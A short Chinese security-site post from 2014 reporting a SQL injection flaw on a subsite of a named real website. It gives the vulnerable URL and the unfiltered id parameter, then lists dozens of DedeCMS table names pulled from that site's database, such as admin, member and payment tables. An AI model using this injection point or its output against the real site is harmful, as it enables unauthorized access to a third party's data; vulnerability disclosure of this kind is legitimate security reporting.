赛迪网分站SQL注入漏洞下载

来源:黑吧安全网 浏览:801次 时间:2014-05-15
做网站找雨过天晴工作室

赛迪网分站SQL注入漏洞http://ccidstudy.ccidnet.com/?mod=Bookshow&id=72

ID参数过滤不严带入查询。

+-----------------------+
| dede_addonarticle |

| dede_addonimages      |

| dede_addoninfos       |

| dede_addonshop        |

| dede_addonsoft        |

| dede_addonspec        |

| dede_admin            |

| dede_admintype        |

| dede_advancedsearch   |

| dede_arcatt           |

| dede_arccache         |

| dede_archives         |

| dede_arcmulti         |

| dede_arcrank          |

| dede_arctiny          |

| dede_arctype          |

| dede_area             |

| dede_channeltype      |

| dede_co_htmls         |

| dede_co_mediaurls     |

| dede_co_note          |

| dede_co_onepage       |

| dede_co_urls          |

| dede_diyforms         |

| dede_dl_log           |

| dede_downloads        |

| dede_feedback         |

| dede_flink            |

| dede_freelist         |

| dede_homepageset      |

| dede_keywords         |

| dede_log              |

| dede_member           |

| dede_member_company   |

| dede_member_feed      |

| dede_member_flink     |

| dede_member_friends   |

| dede_member_group     |

| dede_member_guestbook |

| dede_member_model     |

| dede_member_msg       |

| dede_member_operation |

| dede_member_person    |

| dede_member_pms       |

| dede_member_snsmsg    |

| dede_member_space     |

| dede_member_stow      |

| dede_member_stowtype  |

| dede_member_tj        |

| dede_member_type      |

| dede_member_vhistory  |

| dede_moneycard_record |

| dede_moneycard_type   |

| dede_mtypes           |

| dede_multiserv_config |

| dede_myad             |

| dede_mytag            |

| dede_payment          |

| dede_plus             |

| dede_purview          |

| dede_pwd_tmp          |

| dede_ratings          |

| dede_scores           |

| dede_search_cache     |

| dede_search_keywords  |

| dede_sgpage           |